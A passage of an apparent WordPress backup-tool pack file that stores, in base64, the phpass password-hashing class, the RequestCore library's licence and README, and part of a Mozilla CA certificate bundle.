3JjZWQgdG8gdXNlIE1ENSBoZXJlIHNpbmNlIGl0J3MgdGhlIG9ubHkKCQkjIGNyeXB0b2dyYXBoaWMgcHJpbWl0aXZlIGF2YWlsYWJsZSBpbiBhbGwgdmVyc2lvbnMgb2YgUEhQCgkJIyBjdXJyZW50bHkgaW4gdXNlLiAgVG8gaW1wbGVtZW50IG91ciBvd24gbG93LWxldmVsIGNyeXB0bwoJCSMgaW4gUEhQIHdvdWxkIHJlc3VsdCBpbiBtdWNoIHdvcnNlIHBlcmZvcm1hbmNlIGFuZAoJCSMgY29uc2VxdWVudGx5IGluIGxvd2VyIGl0ZXJhdGlvbiBjb3VudHMgYW5kIGhhc2hlcyB0aGF0IGFyZQoJCSMgcXVpY2tlciB0byBjcmFjayAoYnkgbm9uLVBIUCBjb2RlKS4KCQlpZiAoUEhQX1ZFUlNJT04gPj0gJzUnKSB7CgkJCSRoYXNoID0gbWQ1KCRzYWx0IC4gJHBhc3N3b3JkLCBUUlVFKTsKCQkJZG8gewoJCQkJJGhhc2ggPSBtZDUoJGhhc2ggLiAkcGFzc3dvcmQsIFRSVUUpOwoJCQl9IHdoaWxlICgtLSRjb3VudCk7CgkJfSBlbHNlIHsKCQkJJGhhc2ggPSBwYWNrKCdIKicsIG1kNSgkc2FsdCAuICRwYXNzd29yZCkpOwoJCQlkbyB7CgkJCQkkaGFzaCA9IHBhY2soJ0gqJywgbWQ1KCRoYXNoIC4gJHBhc3N3b3JkKSk7CgkJCX0gd2hpbGUgKC0tJGNvdW50KTsKCQl9CgoJCSRvdXRwdXQgPSBzdWJzdHIoJHNldHRpbmcsIDAsIDEyKTsKCQkkb3V0cHV0IC49ICR0aGlzLT5lbmNvZGU2NCgkaGFzaCwgMTYpOwoKCQlyZXR1cm4gJG91dHB1dDsKCX0KCglmdW5jdGlvbiBnZW5zYWx0X2V4dGVuZGVkKCRpbnB1dCkKCXsKCQkkY291bnRfbG9nMiA9IG1pbigkdGhpcy0+aXRlcmF0aW9uX2NvdW50X2xvZzIgKyA4LCAyNCk7CgkJIyBUaGlzIHNob3VsZCBiZSBvZGQgdG8gbm90IHJldmVhbCB3ZWFrIERFUyBrZXlzLCBhbmQgdGhlCgkJIyBtYXhpbXVtIHZhbGlkIHZhbHVlIGlzICgyKioyNCAtIDEpIHdoaWNoIGlzIG9kZCBhbnl3YXkuCgkJJGNvdW50ID0gKDEgPDwgJGNvdW50X2xvZzIpIC0gMTsKCgkJJG91dHB1dCA9ICdfJzsKCQkkb3V0cHV0IC49ICR0aGlzLT5pdG9hNjRbJGNvdW50ICYgMHgzZl07CgkJJG91dHB1dCAuPSAkdGhpcy0+aXRvYTY0WygkY291bnQgPj4gNikgJiAweDNmXTsKCQkkb3V0cHV0IC49ICR0aGlzLT5pdG9hNjRbKCRjb3VudCA+PiAxMikgJiAweDNmXTsKCQkkb3V0cHV0IC49ICR0aGlzLT5pdG9hNjRbKCRjb3VudCA+PiAxOCkgJiAweDNmXTsKCgkJJG91dHB1dCAuPSAkdGhpcy0+ZW5jb2RlNjQoJGlucHV0LCAzKTsKCgkJcmV0dXJuICRvdXRwdXQ7Cgl9CgoJZnVuY3Rpb24gZ2Vuc2FsdF9ibG93ZmlzaCgkaW5wdXQpCgl7CgkJIyBUaGlzIG9uZSBuZWVkcyB0byB1c2UgYSBkaWZmZXJlbnQgb3JkZXIgb2YgY2hhcmFjdGVycyBhbmQgYQoJCSMgZGlmZmVyZW50IGVuY29kaW5nIHNjaGVtZSBmcm9tIHRoZSBvbmUgaW4gZW5jb2RlNjQoKSBhYm92ZS4KCQkjIFdlIGNhcmUgYmVjYXVzZSB0aGUgbGFzdCBjaGFyYWN0ZXIgaW4gb3VyIGVuY29kZWQgc3RyaW5nIHdpbGwKCQkjIG9ubHkgcmVwcmVzZW50IDIgYml0cy4gIFdoaWxlIHR3byBrbm93biBpbXBsZW1lbnRhdGlvbnMgb2YKCQkjIGJjcnlwdCB3aWxsIGhhcHBpbHkgYWNjZXB0IGFuZCBjb3JyZWN0IGEgc2FsdCBzdHJpbmcgd2hpY2gKCQkjIGhhcyB0aGUgNCB1bnVzZWQgYml0cyBzZXQgdG8gbm9uLXplcm8sIHdlIGRvIG5vdCB3YW50IHRvIHRha2UKCQkjIGNoYW5jZXMgYW5kIHdlIGFsc28gZG8gbm90IHdhbnQgdG8gd2FzdGUgYW4gYWRkaXRpb25hbCBieXRlCgkJIyBvZiBlbnRyb3B5LgoJCSRpdG9hNjQgPSAnLi9BQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSc7CgoJCSRvdXRwdXQgPSAnJDJhJCc7CgkJJG91dHB1dCAuPSBjaHIob3JkKCcwJykgKyAkdGhpcy0+aXRlcmF0aW9uX2NvdW50X2xvZzIgLyAxMCk7CgkJJG91dHB1dCAuPSBjaHIob3JkKCcwJykgKyAkdGhpcy0+aXRlcmF0aW9uX2NvdW50X2xvZzIgJSAxMCk7CgkJJG91dHB1dCAuPSAnJCc7CgoJCSRpID0gMDsKCQlkbyB7CgkJCSRjMSA9IG9yZCgkaW5wdXRbJGkrK10pOwoJCQkkb3V0cHV0IC49ICRpdG9hNjRbJGMxID4+IDJdOwoJCQkkYzEgPSAoJGMxICYgMHgwMykgPDwgNDsKCQkJaWYgKCRpID49IDE2KSB7CgkJCQkkb3V0cHV0IC49ICRpdG9hNjRbJGMxXTsKCQkJCWJyZWFrOwoJCQl9CgoJCQkkYzIgPSBvcmQoJGlucHV0WyRpKytdKTsKCQkJJGMxIHw9ICRjMiA+PiA0OwoJCQkkb3V0cHV0IC49ICRpdG9hNjRbJGMxXTsKCQkJJGMxID0gKCRjMiAmIDB4MGYpIDw8IDI7CgoJCQkkYzIgPSBvcmQoJGlucHV0WyRpKytdKTsKCQkJJGMxIHw9ICRjMiA+PiA2OwoJCQkkb3V0cHV0IC49ICRpdG9hNjRbJGMxXTsKCQkJJG91dHB1dCAuPSAkaXRvYTY0WyRjMiAmIDB4M2ZdOwoJCX0gd2hpbGUgKDEpOwoKCQlyZXR1cm4gJG91dHB1dDsKCX0KCglmdW5jdGlvbiBIYXNoUGFzc3dvcmQoJHBhc3N3b3JkKQoJewoJCWlmICggc3RybGVuKCAkcGFzc3dvcmQgKSA+IDQwOTYgKSB7CgkJCXJldHVybiAnKic7CgkJfQoKCQkkcmFuZG9tID0gJyc7CgoJCWlmIChDUllQVF9CTE9XRklTSCA9PSAxICYmICEkdGhpcy0+cG9ydGFibGVfaGFzaGVzKSB7CgkJCSRyYW5kb20gPSAkdGhpcy0+Z2V0X3JhbmRvbV9ieXRlcygxNik7CgkJCSRoYXNoID0KCQkJICAgIGNyeXB0KCRwYXNzd29yZCwgJHRoaXMtPmdlbnNhbHRfYmxvd2Zpc2goJHJhbmRvbSkpOwoJCQlpZiAoc3RybGVuKCRoYXNoKSA9PSA2MCkKCQkJCXJldHVybiAkaGFzaDsKCQl9CgoJCWlmIChDUllQVF9FWFRfREVTID09IDEgJiYgISR0aGlzLT5wb3J0YWJsZV9oYXNoZXMpIHsKCQkJaWYgKHN0cmxlbigkcmFuZG9tKSA8IDMpCgkJCQkkcmFuZG9tID0gJHRoaXMtPmdldF9yYW5kb21fYnl0ZXMoMyk7CgkJCSRoYXNoID0KCQkJICAgIGNyeXB0KCRwYXNzd29yZCwgJHRoaXMtPmdlbnNhbHRfZXh0ZW5kZWQoJHJhbmRvbSkpOwoJCQlpZiAoc3RybGVuKCRoYXNoKSA9PSAyMCkKCQkJCXJldHVybiAkaGFzaDsKCQl9CgoJCWlmIChzdHJsZW4oJHJhbmRvbSkgPCA2KQoJCQkkcmFuZG9tID0gJHRoaXMtPmdldF9yYW5kb21fYnl0ZXMoNik7CgkJJGhhc2ggPQoJCSAgICAkdGhpcy0+Y3J5cHRfcHJpdmF0ZSgkcGFzc3dvcmQsCgkJICAgICR0aGlzLT5nZW5zYWx0X3ByaXZhdGUoJHJhbmRvbSkpOwoJCWlmIChzdHJsZW4oJGhhc2gpID09IDM0KQoJCQlyZXR1cm4gJGhhc2g7CgoJCSMgUmV0dXJuaW5nICcqJyBvbiBlcnJvciBpcyBzYWZlIGhlcmUsIGJ1dCB3b3VsZCBfbm90XyBiZSBzYWZlCgkJIyBpbiBhIGNyeXB0KDMpLWxpa2UgZnVuY3Rpb24gdXNlZCBfYm90aF8gZm9yIGdlbmVyYXRpbmcgbmV3CgkJIyBoYXNoZXMgYW5kIGZvciB2YWxpZGF0aW5nIHBhc3N3b3JkcyBhZ2FpbnN0IGV4aXN0aW5nIGhhc2hlcy4KCQlyZXR1cm4gJyonOwoJfQoKCWZ1bmN0aW9uIENoZWNrUGFzc3dvcmQoJHBhc3N3b3JkLCAkc3RvcmVkX2hhc2gpCgl7CgkJaWYgKCBzdHJsZW4oICRwYXNzd29yZCApID4gNDA5NiApIHsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJJGhhc2ggPSAkdGhpcy0+Y3J5cHRfcHJpdmF0ZSgkcGFzc3dvcmQsICRzdG9yZWRfaGFzaCk7CgkJaWYgKCRoYXNoWzBdID09ICcqJykKCQkJJGhhc2ggPSBjcnlwdCgkcGFzc3dvcmQsICRzdG9yZWRfaGFzaCk7CgoJCXJldHVybiAkaGFzaCA9PT0gJHN0b3JlZF9oYXNoOwoJfQp9
###PACKDATA,FILE_END,/destinations/stash2/class-phpass.php,importbuddy/lib/stash2/class-phpass.php
###PACKDATA,FILE_START,/destinations/_s3lib/aws-sdk/lib/requestcore/LICENSE,importbuddy/lib/requestcore/LICENSE
Q29weXJpZ2h0IChjKSAyMDA2LTIwMTAgUnlhbiBQYXJtYW4sIEZvbGVlbyBJbmMuLCBhbmQgY29udHJpYnV0b3JzLiBBbGwgcmlnaHRzIHJlc2VydmVkLgoKUmVkaXN0cmlidXRpb24gYW5kIHVzZSBpbiBzb3VyY2UgYW5kIGJpbmFyeSBmb3Jtcywgd2l0aCBvciB3aXRob3V0IG1vZGlmaWNhdGlvbiwgYXJlCnBlcm1pdHRlZCBwcm92aWRlZCB0aGF0IHRoZSBmb2xsb3dpbmcgY29uZGl0aW9ucyBhcmUgbWV0OgoKCSogUmVkaXN0cmlidXRpb25zIG9mIHNvdXJjZSBjb2RlIG11c3QgcmV0YWluIHRoZSBhYm92ZSBjb3B5cmlnaHQgbm90aWNlLCB0aGlzIGxpc3Qgb2YKCSAgY29uZGl0aW9ucyBhbmQgdGhlIGZvbGxvd2luZyBkaXNjbGFpbWVyLgoKCSogUmVkaXN0cmlidXRpb25zIGluIGJpbmFyeSBmb3JtIG11c3QgcmVwcm9kdWNlIHRoZSBhYm92ZSBjb3B5cmlnaHQgbm90aWNlLCB0aGlzIGxpc3QKCSAgb2YgY29uZGl0aW9ucyBhbmQgdGhlIGZvbGxvd2luZyBkaXNjbGFpbWVyIGluIHRoZSBkb2N1bWVudGF0aW9uIGFuZC9vciBvdGhlciBtYXRlcmlhbHMKCSAgcHJvdmlkZWQgd2l0aCB0aGUgZGlzdHJpYnV0aW9uLgoKCSogTmVpdGhlciB0aGUgbmFtZSBvZiBSeWFuIFBhcm1hbiwgRm9sZWVvIEluYy4gbm9yIHRoZSBuYW1lcyBvZiBpdHMgY29udHJpYnV0b3JzIG1heSBiZSB1c2VkIHRvCgkgIGVuZG9yc2Ugb3IgcHJvbW90ZSBwcm9kdWN0cyBkZXJpdmVkIGZyb20gdGhpcyBzb2Z0d2FyZSB3aXRob3V0IHNwZWNpZmljIHByaW9yIHdyaXR0ZW4KCSAgcGVybWlzc2lvbi4KClRISVMgU09GVFdBUkUgSVMgUFJPVklERUQgQlkgVEhFIENPUFlSSUdIVCBIT0xERVJTIEFORCBDT05UUklCVVRPUlMgIkFTIElTIiBBTkQgQU5ZIEVYUFJFU1MKT1IgSU1QTElFRCBXQVJSQU5USUVTLCBJTkNMVURJTkcsIEJVVCBOT1QgTElNSVRFRCBUTywgVEhFIElNUExJRUQgV0FSUkFOVElFUyBPRiBNRVJDSEFOVEFCSUxJVFkKQU5EIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFIEFSRSBESVNDTEFJTUVELiBJTiBOTyBFVkVOVCBTSEFMTCBUSEUgQ09QWVJJR0hUIEhPTERFUlMKQU5EIENPTlRSSUJVVE9SUyBCRSBMSUFCTEUgRk9SIEFOWSBESVJFQ1QsIElORElSRUNULCBJTkNJREVOVEFMLCBTUEVDSUFMLCBFWEVNUExBUlksIE9SCkNPTlNFUVVFTlRJQUwgREFNQUdFUyAoSU5DTFVESU5HLCBCVVQgTk9UIExJTUlURUQgVE8sIFBST0NVUkVNRU5UIE9GIFNVQlNUSVRVVEUgR09PRFMgT1IKU0VSVklDRVM7IExPU1MgT0YgVVNFLCBEQVRBLCBPUiBQUk9GSVRTOyBPUiBCVVNJTkVTUyBJTlRFUlJVUFRJT04pIEhPV0VWRVIgQ0FVU0VEIEFORCBPTiBBTlkKVEhFT1JZIE9GIExJQUJJTElUWSwgV0hFVEhFUiBJTiBDT05UUkFDVCwgU1RSSUNUIExJQUJJTElUWSwgT1IgVE9SVCAoSU5DTFVESU5HIE5FR0xJR0VOQ0UgT1IKT1RIRVJXSVNFKSBBUklTSU5HIElOIEFOWSBXQVkgT1VUIE9GIFRIRSBVU0UgT0YgVEhJUyBTT0ZUV0FSRSwgRVZFTiBJRiBBRFZJU0VEIE9GIFRIRQpQT1NTSUJJTElUWSBPRiBTVUNIIERBTUFHRS4K
###PACKDATA,FILE_END,/destinations/_s3lib/aws-sdk/lib/requestcore/LICENSE,importbuddy/lib/requestcore/LICENSE
###PACKDATA,FILE_START,/destinations/_s3lib/aws-sdk/lib/requestcore/README.md,importbuddy/lib/requestcore/README.md
IyBSZXF1ZXN0Q29yZQoKUmVxdWVzdENvcmUgaXMgYSBsaWdodHdlaWdodCBjVVJMLWJhc2VkIEhUVFAgcmVxdWVzdC9yZXNwb25zZSBjbGFzcyB0aGF0IGxldmVyYWdlcyBNdWx0aUN1cmwgZm9yIHBhcmFsbGVsIHJlcXVlc3RzLgoKIyMjIFBFQVIgSFRUUF9SZXF1ZXN0PwoKUmVxdWVzdENvcmUgd2FzIHdyaXR0ZW4gYXMgYSByZXBsYWNlbWVudCBmb3IgW1BFQVIgSFRUUF9SZXF1ZXN0XShodHRwOi8vcGVhci5waHAubmV0L2h0dHBfcmVxdWVzdC8pLiBXaGlsZSBQRUFSIEhUVFBfUmVxdWVzdCBpcyBmdWxsLWZlYXR1cmVkIGFuZCBoZWF2eSwgUmVxdWVzdENvcmUgZmVhdHVyZXMgb25seSB0aGUgZXNzZW50aWFscyBhbmQgaXMgdmVyeSBsaWdodHdlaWdodC4gSXQgYWxzbyBsZXZlcmFnZXMgdGhlIGJhdGNoIHJlcXVlc3Qgc3VwcG9ydCBpbiBjVVJMJ3MgYGN1cmxfbXVsdGlfZXhlYygpYCB0byBlbmFibGUgbXVsdGktdGhyZWFkZWQgcmVxdWVzdHMgdGhhdCBmaXJlIGluIHBhcmFsbGVsLgoKIyMjIFJlZmVyZW5jZSBhbmQgRG93bmxvYWQKCllvdSBjYW4gZmluZCB0aGUgY2xhc3MgcmVmZXJlbmNlIGF0IDxodHRwOi8vc2t5enl4LmdpdGh1Yi5jb20vcmVxdWVzdGNvcmUvPi4gWW91IGNhbiBnZXQgdGhlIGNvZGUgZnJvbSA8aHR0cDovL2dpdGh1Yi5jb20vc2t5enl4L3JlcXVlc3Rjb3JlPi4KCiMjIyBMaWNlbnNlIGFuZCBDb3B5cmlnaHQKClRoaXMgY29kZSBpcyBDb3B5cmlnaHQgKGMpIDIwMDgtMjAxMCwgUnlhbiBQYXJtYW4uIEhvd2V2ZXIsIEknbSBsaWNlbnNpbmcgdGhpcyBjb2RlIGZvciBvdGhlcnMgdG8gdXNlIHVuZGVyIHRoZSBbU2ltcGxpZmllZCBCU0QgbGljZW5zZV0oaHR0cDovL3d3dy5vcGVuc291cmNlLm9yZy9saWNlbnNlcy9ic2QtbGljZW5zZS5waHApLgo=
###PACKDATA,FILE_END,/destinations/_s3lib/aws-sdk/lib/requestcore/README.md,importbuddy/lib/requestcore/README.md
###PACKDATA,FILE_START,/destinations/_s3lib/aws-sdk/lib/requestcore/cacert.pem,importbuddy/lib/requestcore/cacert.pem
IyMKIyMgY2EtYnVuZGxlLmNydCAtLSBCdW5kbGUgb2YgQ0EgUm9vdCBDZXJ0aWZpY2F0ZXMKIyMKIyMgQ2VydGlmaWNhdGUgZGF0YSBmcm9tIE1vemlsbGEgYXMgb2Y6IFdlZCBKYW4gMTggMDA6MDQ6MTYgMjAxMgojIwojIyBUaGlzIGlzIGEgYnVuZGxlIG9mIFguNTA5IGNlcnRpZmljYXRlcyBvZiBwdWJsaWMgQ2VydGlmaWNhdGUgQXV0aG9yaXRpZXMKIyMgKENBKS4gVGhlc2Ugd2VyZSBhdXRvbWF0aWNhbGx5IGV4dHJhY3RlZCBmcm9tIE1vemlsbGEncyByb290IGNlcnRpZmljYXRlcwojIyBmaWxlIChjZXJ0ZGF0YS50eHQpLiAgVGhpcyBmaWxlIGNhbiBiZSBmb3VuZCBpbiB0aGUgbW96aWxsYSBzb3VyY2UgdHJlZToKIyMgaHR0cDovL214ci5tb3ppbGxhLm9yZy9tb3ppbGxhL3NvdXJjZS9zZWN1cml0eS9uc3MvbGliL2NrZncvYnVpbHRpbnMvY2VydGRhdGEudHh0P3Jhdz0xCiMjCiMjIEl0IGNvbnRhaW5zIHRoZSBjZXJ0aWZpY2F0ZXMgaW4gUEVNIGZvcm1hdCBhbmQgdGhlcmVmb3JlCiMjIGNhbiBiZSBkaXJlY3RseSB1c2VkIHdpdGggY3VybCAvIGxpYmN1cmwgLyBwaHBfY3VybCwgb3Igd2l0aAojIyBhbiBBcGFjaGUrbW9kX3NzbCB3ZWJzZXJ2ZXIgZm9yIFNTTCBjbGllbnQgYXV0aGVudGljYXRpb24uCiMjIEp1c3QgY29uZmlndXJlIHRoaXMgZmlsZSBhcyB0aGUgU1NMQ0FDZXJ0aWZpY2F0ZUZpbGUuCiMjCgojICoqKioqIEJFR0lOIExJQ0VOU0UgQkxPQ0sgKioqKioKIyBWZXJzaW9uOiBNUEwgMS4xL0dQTCAyLjAvTEdQTCAyLjEKIwojIFRoZSBjb250ZW50cyBvZiB0aGlzIGZpbGUgYXJlIHN1YmplY3QgdG8gdGhlIE1vemlsbGEgUHVibGljIExpY2Vuc2UgVmVyc2lvbgojIDEuMSAodGhlICJMaWNlbnNlIik7IHlvdSBtYXkgbm90IHVzZSB0aGlzIGZpbGUgZXhjZXB0IGluIGNvbXBsaWFuY2Ugd2l0aAojIHRoZSBMaWNlbnNlLiBZb3UgbWF5IG9idGFpbiBhIGNvcHkgb2YgdGhlIExpY2Vuc2UgYXQKIyBodHRwOi8vd3d3Lm1vemlsbGEub3JnL01QTC8KIwojIFNvZnR3YXJlIGRpc3RyaWJ1dGVkIHVuZGVyIHRoZSBMaWNlbnNlIGlzIGRpc3RyaWJ1dGVkIG9uIGFuICJBUyBJUyIgYmFzaXMsCiMgV0lUSE9VVCBXQVJSQU5UWSBPRiBBTlkgS0lORCwgZWl0aGVyIGV4cHJlc3Mgb3IgaW1wbGllZC4gU2VlIHRoZSBMaWNlbnNlCiMgZm9yIHRoZSBzcGVjaWZpYyBsYW5ndWFnZSBnb3Zlcm5pbmcgcmlnaHRzIGFuZCBsaW1pdGF0aW9ucyB1bmRlciB0aGUKIyBMaWNlbnNlLgojCiMgVGhlIE9yaWdpbmFsIENvZGUgaXMgdGhlIE5ldHNjYXBlIHNlY3VyaXR5IGxpYnJhcmllcy4KIwojIFRoZSBJbml0aWFsIERldmVsb3BlciBvZiB0aGUgT3JpZ2luYWwgQ29kZSBpcwojIE5ldHNjYXBlIENvbW11bmljYXRpb25zIENvcnBvcmF0aW9uLgojIFBvcnRpb25zIGNyZWF0ZWQgYnkgdGhlIEluaXRpYWwgRGV2ZWxvcGVyIGFyZSBDb3B5cmlnaHQgKEMpIDE5OTQtMjAwMAojIHRoZSBJbml0aWFsIERldmVsb3Blci4gQWxsIFJpZ2h0cyBSZXNlcnZlZC4KIwojIENvbnRyaWJ1dG9yKHMpOgojCiMgQWx0ZXJuYXRpdmVseSwgdGhlIGNvbnRlbnRzIG9mIHRoaXMgZmlsZSBtYXkgYmUgdXNlZCB1bmRlciB0aGUgdGVybXMgb2YKIyBlaXRoZXIgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIFZlcnNpb24gMiBvciBsYXRlciAodGhlICJHUEwiKSwgb3IKIyB0aGUgR05VIExlc3NlciBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIFZlcnNpb24gMi4xIG9yIGxhdGVyICh0aGUgIkxHUEwiKSwKIyBpbiB3aGljaCBjYXNlIHRoZSBwcm92aXNpb25zIG9mIHRoZSBHUEwgb3IgdGhlIExHUEwgYXJlIGFwcGxpY2FibGUgaW5zdGVhZAojIG9mIHRob3NlIGFib3ZlLiBJZiB5b3Ugd2lzaCB0byBhbGxvdyB1c2Ugb2YgeW91ciB2ZXJzaW9uIG9mIHRoaXMgZmlsZSBvbmx5CiMgdW5kZXIgdGhlIHRlcm1zIG9mIGVpdGhlciB0aGUgR1BMIG9yIHRoZSBMR1BMLCBhbmQgbm90IHRvIGFsbG93IG90aGVycyB0bwojIHVzZSB5b3VyIHZlcnNpb24gb2YgdGhpcyBmaWxlIHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgTVBMLCBpbmRpY2F0ZSB5b3VyCiMgZGVjaXNpb24gYnkgZGVsZXRpbmcgdGhlIHByb3Zpc2lvbnMgYWJvdmUgYW5kIHJlcGxhY2UgdGhlbSB3aXRoIHRoZSBub3RpY2UKIyBhbmQgb3RoZXIgcHJvdmlzaW9ucyByZXF1aXJlZCBieSB0aGUgR1BMIG9yIHRoZSBMR1BMLiBJZiB5b3UgZG8gbm90IGRlbGV0ZQojIHRoZSBwcm92aXNpb25zIGFib3ZlLCBhIHJlY2lwaWVudCBtYXkgdXNlIHlvdXIgdmVyc2lvbiBvZiB0aGlzIGZpbGUgdW5kZXIKIyB0aGUgdGVybXMgb2YgYW55IG9uZSBvZiB0aGUgTVBMLCB0aGUgR1BMIG9yIHRoZSBMR1BMLgojCiMgKioqKiogRU5EIExJQ0VOU0UgQkxPQ0sgKioqKioKIyBAKCMpICRSQ1NmaWxlOiBjZXJ0ZGF0YS50eHQsdiAkICRSZXZpc2lvbjogMS44MSAkICREYXRlOiAyMDEyLzAxLzE3IDIyOjAyOjM3ICQKCkdURSBDeWJlclRydXN0IEdsb2JhbCBSb290Cj09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQpNSUlDV2pDQ0FjTUNBZ0dsTUEwR0NTcUdTSWIzRFFFQkJBVUFNSFV4Q3pBSkJnTlZCQVlUQWxWVE1SZ3dGZ1lEVlFRS0V3OUhWRVVnClEyOXljRzl5WVhScGIyNHhKekFsQmdOVkJBc1RIa2RVUlNCRGVXSmxjbFJ5ZFhOMElGTnZiSFYwYVc5dWN5d2dTVzVqTGpFak1DRUcKQTFVRUF4TWFSMVJGSUVONVltVnlWSEoxYzNRZ1IyeHZZbUZzSUZKdmIzUXdIaGNOT1Rnd09ERXpNREF5T1RBd1doY05NVGd3T0RFegpNak0xT1RBd1dqQjFNUXN3Q1FZRFZRUUdFd0pWVXpFWU1CWUdBMVVFQ2hNUFIxUkZJRU52Y25CdmNtRjBhVzl1TVNjd0pRWURWUVFMCkV4NUhWRVVnUTNsaVpYSlVjblZ6ZENCVGIyeDFkR2x2Ym5Nc0lFbHVZeTR4SXpBaEJnTlZCQU1UR2tkVVJTQkRlV0psY2xSeWRYTjAKSUVkc2IySmhiQ0JTYjI5ME1JR2ZNQTBHQ1NxR1NJYjNEUUVCQVFVQUE0R05BRENCaVFLQmdRQ1ZENkMyOEZDYzZIckhpTTNkRnc0dQpzSlRRR3owTzlwVEFpcFRIQnNpUWw4aTRaQnA2Zm13OFUrRTNLSE5nZjdLWFV3ZWZVL2x0V0pUU3I0MXRpR2VBNXUyeWxjOXlNY3FsCkhISzZYQUxuWkVMbitha3Mxam9OckkxQ3FpUUJPZWFjUHdHRlZ3MVloMFg0MDRXcWsya21oWEJJZ0Q4U0ZjZDV0QjhGTHp0aW1RSUQKQVFBQk1BMEdDU3FHU0liM0RRRUJCQVVBQTRHQkFHM3JHd25wWHRsUjIyY2lZYVFxUEVoMzQ2QjhwdDV6b2hRRGhUMzdxdzR3eFlNVwpNNEVUQ0o1N05FN2ZRTWgwMTdsOTNQUjJWWDJiWTFRWTZmRHE4MXl4Mll0Q0hybkFsVTY2K3RYaWZQVm9ZYitPN0FXWFgxdXcxNk9GCk5NUWtwdzBQbFpQdnk1VFluaCtkWElWdHg2cXVUeDhpdGMyVnJicW56UG1yQzNwLwotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCgpUaGF3dGUgU2VydmVyIENBCj09PT09PT09PT09PT09PT0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURFekNDQW55Z0F3SUJBZ0lCQVRBTkJna3Foa2lHOXcwQkFRUUZBRENCeERFTE1Ba0dBMVVFQmhNQ1drRXhGVEFUQmdOVkJBZ1QKREZkbGMzUmxjbTRnUTJGd1pURVNNQkFHQTFVRUJ4TUpRMkZ3WlNCVWIzZHVNUjB3R3dZRFZRUUtFeFJVYUdGM2RHVWdRMjl1YzNWcwpkR2x1WnlCall6RW9NQ1lHQTFVRUN4TWZRMlZ5ZEdsbWFXTmhkR2x2YmlCVFpYSjJhV05sY3lCRWFYWnBjMmx2YmpFWk1CY0dBMVVFCkF4TVFWR2hoZDNSbElGTmxjblpsY2lCRFFURW1NQ1FHQ1NxR1NJYjNEUUVKQVJZWGMyVnlkbVZ5TFdObGNuUnpRSFJvWVhkMFpTNWoKYjIwd0hoY05PVFl3T0RBeE1EQXdNREF3V2hjTk1qQXhNak14TWpNMU9UVTVXakNCeERFTE1Ba0dBMVVFQmhNQ1drRXhGVEFUQmdOVgpCQWdUREZkbGMzUmxjbTRnUTJGd1pURVNNQkFHQTFVRUJ4TUpRMkZ3WlNCVWIzZHVNUjB3R3dZRFZRUUtFeFJVYUdGM2RHVWdRMjl1CmMzVnNkR2x1WnlCall6RW9NQ1lHQTFVRUN4TWZRMlZ5ZEdsbWFXTmhkR2x2YmlCVFpYSjJhV05sY3lCRWFYWnBjMmx2YmpFWk1CY0cKQTFVRUF4TVFWR2hoZDNSbElGTmxjblpsY2lCRFFURW1NQ1FHQ1NxR1NJYjNEUUVKQVJZWGMyVnlkbVZ5TFdObGNuUnpRSFJvWVhkMApaUzVqYjIwd2daOHdEUVlKS29aSWh2Y05BUUVCQlFBRGdZMEFNSUdKQW9HQkFOT2tVRzdJLzFacjVzOWR0dW9NYUhWSG9xckMyb1FsCi9LajBSMUhhaGJVZ2RKU0dIZzkxeWVrSVlmVUdiVEJ1RlJrQzZWTEFZdHRObVo3aWFneEVPTTMrdnVOa0NYREYvckZyS2JZdlNjZzcKMUNjRUpSQ1hMK2VRYmNBb1FwblhURVBldy9VaGJWU2ZYY05ZNGNEazJWdXd1TnkwZTk4Mk9zSzFaaUlTMW9jTkFnTUJBQUdqRXpBUgpNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdEUVlKS29aSWh2Y05BUUVFQlFBRGdZRUFCL3BNYVZ6N2xjeEc3b1dEVFNFd2pzclpxRzlKCkd1YmFVZU5nY0d5RVlSR2hHc2hJUGxsRGZVK1ZQYUdMdHd0aW1IcDFpdDJJVGs2ZVFOdW96REowdVc4Tnh1T3pSQXZaaW0rYUtadVoKR0NnNzBlTkFLSnBhUE5XMTV5QWJpOHFrcTQzcFVkbmlUQ3hacWRxNXNuVWI5a0x5NzhmeUdQbUp2S1AvaWlNdWNFYz0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQoKVGhhd3RlIFByZW1pdW0gU2VydmVyIENBCj09PT09PT09PT09PT09PT09PT09PT09PQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0KTUlJREp6Q0NBcENnQXdJQkFnSUJBVEFOQmdrcWhraUc5dzBCQVFRRkFEQ0J6akVMTUFrR0ExVUVCaE1DV2tFeEZUQVRCZ05WQkFnVApERmRsYzNSbGNtNGdRMkZ3WlRFU01CQUdBMVVFQnhNSlEyRndaU0JVYjNkdU1SMHdHd1lEVlFRS0V4UlVhR0YzZEdVZ1EyOXVjM1ZzCmRHbHVaeUJqWXpFb01DWUdBMVVFQ3hNZlEyVnlkR2xtYVdOaGRHbHZiaUJUWlhKMmFXTmxjeUJFYVhacGMybHZiakVoTUI4R0ExVUUKQXhNWVZHaGhkM1JsSUZCeVpXMXBkVzBnVTJWeWRtVnlJRU5CTVNnd0pnWUpLb1pJaHZjTkFRa0JGaGx3Y21WdGFYVnRMWE5sY25abApja0IwYUdGM2RHVXVZMjl0TUI0WERUazJNRGd3TVRBd01EQXdNRm9YRFRJd01USXpNVEl6TlRrMU9Wb3dnYzR4Q3pBSkJnTlZCQVlUCkFscEJNUlV3RXdZRFZRUUlFd3hYWlhOMFpYSnVJRU5oY0dVeEVqQVFCZ05WQkFjVENVTmhjR1VnVkc5M2JqRWRNQnNHQTFVRUNoTVUKVkdoaGQzUmxJRU52Ym5OMWJIUnBibWNnWTJNeEtEQW1CZ05WQkFzVEgwTmxjblJwWm1sallYUnBiMjRnVTJWeWRtbGpaWE1nUkdsMgphWE5wYjI0eElUQWZCZ05WQkFNVEdGUm9ZWGQwWlNCUWNtVnRhWFZ0SUZObGN